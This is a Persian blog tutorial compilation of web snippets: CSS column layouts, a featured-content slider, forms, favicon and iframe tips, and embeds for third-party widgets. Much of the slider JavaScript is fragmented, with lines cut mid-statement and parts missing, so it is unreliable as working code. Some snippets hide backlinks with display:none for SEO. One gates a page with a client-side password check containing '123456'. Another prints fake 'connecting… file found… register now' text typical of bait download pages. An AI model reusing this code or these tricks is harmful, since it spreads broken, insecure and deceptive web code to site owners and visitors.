margin: 0px 0px 5px 0px;
padding: 10px;
height: 350px;
width: 204px;
float: right;
}

کدهای جدیدی که در این قسمت مشاهده میکنید عبارت است از: background و padding و height و float .

فاصله محتویات درونش مانند تصاویر عکسها و ... از اطراف 10 پیکسل باشد ( ;padding: 10px )،

جایگاه قرار گرفتنش در صفحه سمت راست باشد ( ;float: right ).

شما میتوانید با تغییر اندازه width (عرض) ستون wrapper و ستونهای داخل آن شکل قالب را کاملا تغییر دهید. قصد دارم چند طرح را مشخص کنم تا افرادی که این سری آموزشی را دنبال میکنند برای تمرین از آن طرح ها به عنوان الگو استفاده کنند.

برای تمرین، اندازه عرض ستونها را تغییر دهید درست کردن قالبهایی به شکل زیر را تمرین کنید تغییرات در کدهای اصلی را در قسمت بعد آموزش میدهم.

بقیه ستونها را خودتان تنظیم کنید به صورتی که عرض ستون سمت چپ بیشتر از راست باشد.

کد نمایش برترین مطالب در بالای وبلاگ

در صفحه اصلی مطلب در وبلاگ CSS3 چهار پنجره کد مشاهده می کنید
محتوای اولین پنجره کدهای استایل بندی هستند عینا کپی و بدون نیاز به تغییز در بخش ویرایش قالب به قسمت <style type="text/css"> کپی نمایید و یا اگر از سایت با هاست شخصی استفاده می کنید فایل style.css را یافته و محتوا را در آن کپی نمایید
بخش دوم هم کدهای جاوا اسکریپت هستند که هم می توانند در داخل صفحه اصلی قالب بعد از نوشتن <script type="javascript/text"> و </script> کدها را در بین تگ اسکریپت قرار دهید و هم در صفحه ای جدا با پسوند js ذخیره کنید یا از پنجره سوم کد لینک به فایل را برداشته و در قالب وبلاگ یا سایت خود قرار دهید
بخش چهارم کدهای داخل صفحه هستند که در جای مناسب برای نمایش قرار می گیرند شما می توانید رنگ پس زمینه و نوشته ها و متون را در این کد به راحتی تغییر دهید اما مراقب باشید ID و Class ها را تغییر ندهید.

.sliderwrapper{-moz-border-top-left-radius:12px;-moz-border-top-right-radius:12px;-webkit-border-top-left-radius:12px;-webkit-border-top-right-radius:12px;background:#333;border:10px #000 solid;border-bottom-width:6px;border-top-left-radius:12px;border-top-right-radius:12px;height:250px;overflow:hidden;position:relative;width:450px;z-index:157}

.sliderwrapper .contentdiv{-moz-border-radius:12px;-moz-opacity:1;-webkit-border-radius:12px;border-radius:12px;direction:rtl;filter:progid:DXImageTransform.Microsoft.alpha(opacity=100);height:100%;left:0;opacity:1;padding:5px;position:absolute;top:0;visibility:hidden;width:440px}

.pagination{background:#000 url(http://blog.css3.gozarweb.com/wp-content/uploads/2011/05/rbbg.png) no-repeat scroll left bottom;font-size:12px;padding:5px 10px;text-align:right;width:450px}

.pagination a{-moz-border-radius:5px;-moz-box-shadow:0 0 4px #000;-moz-transition:all 1s ease-out;-o-transition:all 1s ease-out;-webkit-border-radius:5px;-webkit-box-shadow:0 0 4px #000;-webkit-transition:all 1s ease-out;background:#6F6C4D;border:1px #000 solid;border-radius:5px;box-shadow:0 0 4px #000;color:#330;font-size:13px;font-weight:700;padding:2px 5px;text-decoration:none;text-shadow:-1px 1px 2px #444,1px 0 1px #f8f8f8;transition:all 1s ease-out}

.pagination a:hover{-moz-box-shadow:0 0 4px #ffffc6;-webkit-box-shadow:0 0 4px #ffffc6;background-color:#ffffc6;border:1px #ffffc6 solid;box-shadow:0 0 4px #ffffc6;color:#C60}

.pagination a:active{-moz-box-shadow:0 0 4px #000;-webkit-box-shadow:0 0 4px #000;background:#6F6C4D;border:1px #000 solid;box-shadow:0 0 4px #000}

.pagination a.selected{-moz-box-shadow:0 0 4px #c1bb86;-webkit-box-shadow:0 0 4px #c1bb86;background-color:#c1bb86;border:1px #c1bb86 solid;box-shadow:0 0 4px #c1bb86}

#hint-link1{color:#000;display:inline-block;height:45px;overflow:visible;position:relative;text-align:center;text-decoration:none;width:120px;z-index:158}

#hint-link1 #hint{-moz-transition:all 1.2s ease-out;-o-transition:all 1.2s ease-out;-webkit-transition:all 1.2s ease-out;background-color:#000;color:#fff;direction:rtl;display:block;font-size:12px;margin-top:-30px;overflow:hidden;padding:5px;position:relative;text-align:center;transition:all 1.2s ease-out;visibility:hidden;width:120px;z-index:156}

#hint-link1:hover #hint{-moz-border-bottom-left-radius:4px;-moz-border-bottom-right-radius:4px;-webkit-border-bottom-left-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-left-radius:4px;border-bottom-right-radius:4px;color:#fff;margin-top:-10px;padding:10px 5px 2px;visibility:visible}

.sliderwrapper a,.sliderwrapper a:visited,.sliderwrapper a:link {color:#FFFF66;text-decoration:none;}

var featuredcontentslider={ajaxloadingmsg:'<div style="margin: 20px 0 0 20px"><img

src="loading.gif" /> Fetching slider Contents. Please wait...</div>',bustajaxcache:true,enablepersist:true,settingcaches:{},jumpTo:function(fcsid,pagenumber){this.turnpage(this.settingcaches[fcsid],pagenumber)},ajaxconnect:function(setting){var

page_request.onreadystatechange=function(){featuredcontentslider.ajaxpopulate(page_request,setting)}

page_request.send(null)},ajaxpopulate:function(page_request,setting){if(page_request.readyState==4&&(page_request.status==200||window.location.href.indexOf("http")==-1)){document.getElementById(setting.id).innerHTML=page_request.responseText

this.buildpaginate(setting)}},buildcontentdivs:function(setting){var alldivs=document.getElementById(setting.id).getElementsByTagName("div")

for(var i=0;i<alldivs.length;i++){if(this.css(alldivs[i],"contentdiv","check")){setting.contentdivs.push(alldivs[i])

alldivs[i].style.display="none"}}},buildpaginate:function(setting){this.buildcontentdivs(setting)

if(typeof toc=="string"&&toc!="markup"||typeof toc=="object"){for(var i=1;i<=setting.contentdivs.length;i++){phtml+='<a

href="#'+i+'" class="toc">'+(typeof toc=="string"?toc.replace(/#increment/,i):toc[i-1])+'</a>

phtml=(nextprev[0]!=''?'<a href="#prev" class="prev">'+nextprev[0]+'</a> ':'')+phtml+(nextprev[1]!=''?'<a

for(var i=0;i<pdivlinks.length;i++){if(this.css(pdivlinks[i],"toc","check")){if(toclinkscount>setting.contentdivs.length-1){pdivlinks[i].style.display="none"

pdivlinks[i][setting.revealtype]=function(){featuredcontentslider.turnpage(setting,this.getAttribute("rel"))

else if(this.css(pdivlinks[i],"prev","check")||this.css(pdivlinks[i],"next","check")){pdivlinks[i].onclick=function(){featuredcontentslider.turnpage(setting,this.className)

if(setting.autorotate[0]){pdiv[setting.revealtype]=function(){featuredcontentslider.cleartimer(setting,window["fcsautorun"+setting.id])}

sliderdiv["onclick"]=function(){featuredcontentslider.cleartimer(setting,window["fcsautorun"+setting.id])}

this.autorotate(setting)}},urlparamselect:function(fcsid){var result=window.location.search.match(new

return(result==null)?null:parseInt(RegExp.$1)},turnpage:function(setting,thepage,autocall){var

var turntopage=(/prev/i.test(thepage))?currentpage-1:(/next/i.test(thepage))?currentpage+1:parseInt(thepage)

if(setting.enablefade[0]==false){setting.contentdivs[setting.prevpage-1].style.display="none"

this.setCookie("fcspersist"+setting.id,turntopage)},setopacity:function(setting,value){var

if(targetobject.filters&&targetobject.filters[0]){if(typeof targetobject.filters[0].opacity=="number")

setting.curopacity=value},fadeup:function(setting){if(setting.curopacity<1){this.setopacity(setting,setting.curopacity+setting.enablefade[1])

window["fcsfade"+setting.id]=setTimeout(function(){featuredcontentslider.fadeup(setting)},50)}

setting.onChange(setting.cacheprevpage,setting.currentpage)}},cleartimer:function(setting,timervar){if(typeof

if(setting.cacheprevpage!=setting.currentpage){setting.contentdivs[setting.cacheprevpage-1].style.display="none"}}},css:function(el,targetclass,action){var

el.className+=" "+targetclass},autorotate:function(setting){window["fcsautorun"+setting.id]=setInterval(function(){featuredcontentslider.turnpage(setting,"next")},setting.autorotate[1])},getCookie:function(Name){var

return null},setCookie:function(name,value){document.cookie=name+"="+value},init:function(setting){var

.sliderwrapper{....width:450px}
.sliderwrapper .contentdiv {.... width:440px*/ (450-10=440)}
.pagination {....width:450px}

========================================================================<div id="slider1" class="sliderwrapper">

<a href="http://css3.gozarweb.com" target="_blank" id="hint-link1" style="position:absolute;"><span

<p>نمونه متن نوشته شده شما شما می توانید از کدهای استایل بندی مختلف مانند

<strong>برجسته کردن فونت (BOLD) </strong>یا تغییر <span style="font-family:Tahoma;">فونت

نوشته </span> یا استفاده از خواص <sub>ساب</sub> و <sup>ساپ</sup> و دیگر کدهای

176px; width: 185px;" /><br />همچنین شما می توانید عکس یا چارت gif شده را نیز در

این جعبه نمایش  دهید برای مشاهده دستورالعمل ساخت به   <a href="javascript:featuredcontentslider.jumpTo('slider1',

2)">اسلاید بعدی</a>  در همین باکس یا ادامه مطلب در وبلاگ <a target="_blank"

<p dir="rtl">در صفحه اصلی مطلب در وبلاگ CSS3 سه پنجره کد مشاهده می کنید <br />

محتوای اولین پنجره کدهای استایل بندی هستند عینا کپی و بدون نیاز به تغییز در بخش

ویرایش قالب به قسمت <style type="text/css"> کپی نمایید و یا اگر

از سایت با هاست شخصی استفاده می کنید فایل style.css را یافته و محتوا را در آن

بخش دوم هم کدهای جاوا اسکریپت هستند که هم می توانند در داخل صفحه اصلی قالب بعد

را در بین تگ اسکریپت قرار دهید و هم در صفحه ای جدا با پسوند js ذخیره کنید <br/>

بخش سوم کدهای داخل صفحه هستند که در جای مناسب برای نمایش قرار می گیرند شما می

توانید رنگ پس زمینه و نوشته ها و متون را در این کد به راحتی تغییر دهید اما

این نمونه یک متن آزمایشی است بر روی سومین اسلاید شما با تکثیر کلاس class="contentdiv"

می توانید به تعداد دلخواه اسلاید داشته باشید <br/>

برای تغییر عرض در کدهای CSS در خط اول (sliderwrapper) گزینه Widht:600px; را به

و در خط دوم نیز این مقدار را با اختلاف ده پیکسل از اندازه ای که داده اید تغییر

داده و در خط سوم نیز مجددا همان تغییر اولیه را انجام دهید

<p dir="ltr" style="background:#fff;color:#660033;width:250px;padding:10px;border:1px

contentsource: ["inline", ""], //Valid values: ["inline", ""] or ["ajax", "path_to_file"]

==========================================================================================================================================================================

if (sixteenth==seventeenth && eighteenth==nineteenth) location='http://test.com';

onclick="javascript:fifteenth(seventeenth.value,'123456',sixteenth.value,'123456')"

نکته:به جای کلملتی که به رنگ قرمز نوشته شده اند، شما می توانید کلمات دلخواه خود را بنویسید.

var text="Connecting to members.usenet.nl...<br />Connected!<br />Searching for Nessus Remote Security Scanner 4 0 2 (ID: 6986500)<br />File Found<br />Error (4117) - Not logged in!";

document.getElementById(destination).innerHTML=xx + "<br /><b>You are not logged in, please <a href=\"register.php?file=TmVzc3VzIFJlbW90ZSBTZWN1cml0eSBTY2FubmVyIDQgMCAy\" style=\"color:white;\">register</a> now, it's free!"

آموزش ساخت اسلاید شو متنی با جاوا اسکریپت:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Untitled Document</title> <script type="text/javascript"> var textarr = new Array; textarr[0] = 'متن'; textarr[1] = 'متن';

<?php $sysmail = "آدرس ایمیل شما";// mail khodeto vared kon $subject = "user phone number"; $mail_body = $_POST['message']; $header = "from: you@yourdomain.com"; if ($_POST['sendmessage']) { mail($sysmail, $subject, $mail_body, $header); echo "ba tashakor az ersal shomare"; echo "<meta http-equiv='refresh' content='5; URL=user.php'>";// bad az 5 saniye redirect mishe } ?> <h2>enter your phon number below:</h2> <form action="" method="post"> <span style="color:#FF0000; font-weight:bold;"><?=$messages ?></span> <table width="50%" border="0"> <tr> <td width="32%" valign="top"><div align="right"><strong>Your number: </strong></div></td> <td width="68%" valign="top"><input type="text" name="message"></td> </tr> <tr> <td colspan="2" valign="top"><div align="center"> <input type="submit" value="Send Message"> </div></td>

گاهی ممکن است بخواهید در قسمتی از سایت خود سایت دیگری را نیز داشته باشید.در این مواقع می توان از کد iframe استفاده نمود.

در کد بالا شما می توانید به جای آدرسی که با رنگ قرمز مشخص شده آدرس سایت دلخواه خود را بنویسید.

آموزش ساختن فایل هایی با فرمت js.

همان طور که می دانید حجم تعدادی از کدهای جاوا اسکریپت زیاد می باشد و اگه بخواهید به صورت مستقیم این کدها را در وب قرار دهید هر کد می تواند به تنهایی 100 سطر از حجم قالب شما را اشغال کند و حجم قالب شما را سنگین خواهد کرد.

با این آموزشی برای شما آماده کردم میتوانید 10 عدد کد جاوا اسکریپت را در کمتر از 10 سطر خلاصه کنید. و سرعت لود وب خود را بالاتر ببرید.

شاید شما هم از آن دسته افرادی می باشید که از کدهای جاوا اسکریپت زیادی استفاده می کنید و قالب شما پر از کدهای طولانی می باشد. برای اینکه این شلوغی را از بین ببرید و قالب منظم و خلوتی داشته باشید, می توانید کدهای جاوا اسکریپت خود را به فایلjs. تبدیل کنید . سپس فايل جاوا اسکریپت خود را آپلود کنید و تنها آدرس کد جاوااسکریپت را در قالب خود قرار دهید که بیشتر از یک سطر هم نخواهد شد .

برای تبدیل کدهای جاوا اسکریپت به فایلjs. ابتدا کد مورد نظر خود را در یک برنامه ساده مانند Notepad کپی کنید . سپس از منوی File گزینه ی ... Save as را انتخاب کنید . فایل را با پسوند js. در کامپیوتر خود ذخیره کنید .برای مثال linkbox.js . تا اینجا شما فایل جاوا اسکریپت را ساخته اید .

نکته : كد جاوا اسکریپت خود را می بایست بدون تگ اول و آخر آن قرار بدید . يعني تگ های SCRIPT LANGUAGE=JAVASCRIPT و script را در فایل جاوا اسکریپت خود قرار ندید .

حالا بايد فایل جاوا اسکریپت خود را در یک سرور و یا آپلود سنتر مطمئن آپلود نمایید .

حالا کد را در جای مناسبی از وب خود قرار دهید .

با این آموزش و این ترفند قادر خواهید بود کد هایی با حجم بالا را به یک کد یک سطری تبدیل کنید .

res = "<div style=\" z-index:1000; position:absolute; right:0px; top:0px; border-width:0px; \">"

res += "<img src=\"http://www.parstools.com/events/ramezan/Ramazan_3_2.gif\" width=\"170\" height=\"170\" "

res += "border=\"0\" usemap=\"#muslims1\" /><map name=\"muslims1\" id=\"muslims1\"> "

res += "<area shape=\"poly\" alt=\"رمضان ماه ضیافت خدا\" coords=\"1,1,169,1,169,169\" "

res += "href=\"http://www.parstools.com/events\" target=\"_blank\" /></map></div>"

آموزش قرار دادن آيکون اختصاصي سايت خود (favicon)در کنار آدرس بار، به جاي آيکون مرورگر:

گاهی لازم می شود تا برای یادآوری تگی و یا متذکر شدن موردی به برنامه نویسان همکار جمله ای در سورس صفحه ی سایت نوشته شود.البته همانطور که معلوم است، این جمله نباید در صفحه طراحی شده سایت نمایش داده شود.در چنین مواقعی از تگ زیر استفاده می شود.

===========================================================================================================================================================

<center><script type='text/javascript' language='javascript' src='http://night-skin.com/blogcode/tarikh/date.php?type=1'></script><div style="display:none"><a href=http://night-skin.com/>سايت خدماتي و هنري نايت اسکين</a><a href=http://night-skin.com/tools>ابزار هاي وبلاگ نويسي</a><a href=http://night-skin.com/blogcode/tarikh>نمايشگر تاريخ به صورت فارسي</a></div></center>

===========================================================================================================================================================

<script language="javascript" src="http://www2.parstools.com/ip/fa/"></script>

===========================================================================================================================================================

===========================================================================================================================================================

<style>
.tbl{
direction:rtl;
font-family:Tahoma;
font-size: 10pt;
}
table{
border:1px #204080 dashed;
}
.right{
background-color:#006892;
width:150px;
line-height:25px;
font-size:12px;
color:#ffffff
}
input,select,option,textarea{
font-family:Tahoma;
font-size:11px;
background: #DDDDDD;
border: #AAAAAA 1px dashed;
}
input,select,option,textarea{
font-family:Tahoma;
font-size:11px;
background: #DDDDDD;
border: #AAAAAA 1px dashed;
}

</style>
<form method="post" action="http://night-skin.com/blogcode/contact/email.php?send" target="_blank">
<table align="center" class="tbl" width="400px">
<tr>
<td class="right">نام و نام خانوادگي :</td>
<td class="left"><input type="text" name="data[نام و نام خانوادگي]"/></td>
</tr>
<tr>
<td class="right">ايميل: </td>
<td class="left"><input type="text" name="data[ايميل]"/></td>
</tr>
<tr>
<td class="right">شماره تماس : </td>
<td class="left"><input type="text" name="data[شماره تماس]"/></td>
</tr>
<tr>
<td class="right">آدرس سايت :</td>
<td class="left"><input type="text" name="data[آدرس سايت]"/></td>
</tr>

<tr>
<td class="right">نام شهر شما :</td>
<td class="left"><input type="text" name="data[نام شهر شما]"/> </td>
</tr>
<tr>
<td class="right">نحوه ي آشنايي شما با ما :</td>
<td class="left">
<select name="data[نحوه آشنايي]">
<option>تبليغات</option>
<option>جستجو</option>
<option>دوستان</option>
<option>ديگر</option>
</select>
</td>
</tr>
<tr>
<td class="right">عنوان پيغام:</td>
<td class="left"><input type="text" name="data[عنوان پيغام]"/></td>
</tr>
<tr>
<td class="right" style="width: 150px" valign="top">پيغام :</td>
<td class="left">
<textarea name="data[متن پيغام]" style="width: 254px; height: 117px"></textarea></td>
</tr>
<tr>
<td class="right" style="width: 150px" valign="top"></td>
<td class="left"><input type="submit" value="ارسال فرم" /><input type="reset" value="نگارش از نو" /></td>
<input type="hidden" name="your_emali" value="bistxx@yahoo.com"/>
</tr>
</table>
</form>
<br><a href="http://night-skin.com" target=_blank>ابزار تماس با ما</a><br>

===========================================================================================================================================================
قفل راست كليك

===========================================================================================================================================================

===========================================================================================================================================================

<script language="javascript">$rating_widget_type='thumb';$rating_widget_theme=2;$rating_widget_color='FFFFFF';$rating_widget_url='';</script><script type="text/javascript" language="javascript" src="http://tools.parstools.com/voting/widgets/rating.js"></script>

===========================================================================================================================================================

<a href="http://night-skin.com/"><img border="0" src="http://night-skin.com/tools/pagerank/pr-Bottom/?url=20XX.mihanblog.com&s=4"></a>

===========================================================================================================================================================

===========================================================================================================================================================

<div id="joomscontbg1">
<div class="joomscontmask1">
<div id="joomscontbox1">
<div class="inner">
<img src="/images/rasab/Ax/Slideshow/Slide01.jpg" alt="images/rasab/Ax/Slideshow/Slide01.jpg" />

</div>
<div class="inner">
<img src="/images/rasab/Ax/Slideshow/Slide02.jpg" alt="images/rasab/Ax/Slideshow/Slide02.jpg" />
</div>
<div class="inner">
<img src="/images/rasab/Ax/Slideshow/eadeh.jpg" alt="images/rasab/Ax/Slideshow/eadeh.jpg" />
</div>

</div>
</div>

<div id="prev1" class="prev1"></div>
<div id="next1" class="next1"></div>
</div>
===========================================================================================================================================================

<head>

<link rel="shortcut icon" href="آدرس آيکون"/>

</head>
===========================================================================================================================================================

<SCRIPT language="JavaScript">
function CheckSFormParstools () {

//Initialise variables
var errorMsg = "";

//Check for a name
if (document.sendfriend.n1.value == ""){
errorMsg += "\n\n\t\t\t !نام شما وارد نشده است";
}

if (document.sendfriend.n2.value == ""){
errorMsg += "\n\n\t\t\t !نام دوست شما وارد نشده است ";
}

//Check for an e-mail address and that it is valid
if ((document.sendfriend.e1.value == "") || (document.sendfriend.e1.value.length > 0 && (document.sendfriend.e1.value.indexOf("@",0) == - 1 || document.sendfriend.e1.value.indexOf(".",0) == - 1))) {
errorMsg += "\n\n\t !آدرس ايميل شما بطور صحيح وارد نشده است ";
}

//Check for an e-mail address and that it is valid
if ((document.sendfriend.e2.value == "") || (document.sendfriend.e2.value.length > 0 && (document.sendfriend.e2.value.indexOf("@",0) == - 1 || document.sendfriend.e2.value.indexOf(".",0) == - 1))) {
errorMsg += "\n\n\t\t !ايميل دوست شما بطور صحيح وارد نشده است";
}

//If there is aproblem with the form then display an error
if (errorMsg != ""){
msg = "\t\t :لطفا فرم ارسال به دوستان را بطور کامل پر نماييد\n";
msg += "___________________________________________________";

errorMsg += alert(msg + errorMsg + "\n___________________________________________________\n\n");
return false;
}

return true;
}
// -->
</script>
<STYLE type="text/css">
.text {
font-family: Tahoma;
font-size: 9pt; color:#000000
}
.form {
font-family: Tahoma;
font-size: 9pt;
color: #333333;
border: 1px solid #808080; ; background-color:#FFFFFF
}
.button {
font-family: Tahoma;
font-size: xx-small;
color: #FFFFFF;
font-weight: bold;
border: 1px outset #808080;
;
background-color: #FF6600;
}
.style1 {
text-align: center;
}
.style2 {
color: #FF6600;
}
.style3 {
text-decoration: none;
}
</STYLE>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<div align="center">
<table border="0" class="text" cellpadding="3" style="border-collapse: collapse" width="140" id="1" dir="rtl">
<tr>
<form name="sendfriend" method="post" target=_self action="http://www.parstools.com/sendtofriend/default.asp" onSubmit="return CheckSFormParstools();">
</td>
</tr>
<tr>
<td class="style1"><span class="style2">« </span>ارسال براي دوستان
<span class="style2">»</span></td>
</tr>
<tr>
<td align=right>نام شما :
</td>
</tr>
<tr>
<td align=right class="style1">
<INPUT size=10 name=n1 class="form" maxlength="100" style="width: 130px"></td>
</tr>
<tr>
<td align=right>ايميل شما :</td>
</tr>
<tr>
<td align=right class="style1">
<INPUT size=10 name=e1 class="form" maxlength="100" style="width: 130px" dir="ltr"></td>
</tr>
<tr>
<td align=right>نام دوست شما:
</td>
</tr>
<tr>
<td align=right class="style1">
<INPUT size=15 name=n2 class="form" maxlength="100" style="width: 130px" dir="rtl"></td>
</tr>
<tr>
<td align=right>ايميل دوست شما:
</td>
</tr>
<tr>
<td align=right class="style1">
<INPUT size=15 name=e2 class="form" maxlength="100" style="width: 130px" dir="ltr"></td>
</tr>
<tr>
<td height="25" class="style1">
<INPUT type=submit value="ارسال" name="Submit" class="button">
<INPUT type="hidden" name="PB_SENDFFORM" value="SEND">
<INPUT type="hidden" name="User" value="gem">
<br>
<font size="1"><a target="_blank" href="http://www.parstools.com" class="style3">
<span class="style2">Powered by ParsTools</span></a></font>
</td>
</tr>
</table>
</form>
</div>

===========================================================================================================================================================

<script language="javascript" src="http://night-skin.com/tools/rss/reader/?url=http://****************/&feeds=10&direction=rtl&bg=FFFFFF&border=F2890D&link=0F4F86&width=400px"></script><div style="display:none;"><a href="http://night-skin.com/"><h1>نايت اسکين</h1></a></div>

===========================================================================================================================================================

<script language="javascript" src="http://www.parstools.com/chatbox/?chatid=36923&bgcolor=1FE0E6&linkcolor=E61F33&textcolor=000000&bgchatcolor=ffffff"></script><div style="display:none;"><a href="http://parstools.com/"><h1>پیام نگار</h1></a></div>

===========================================================================================================================================================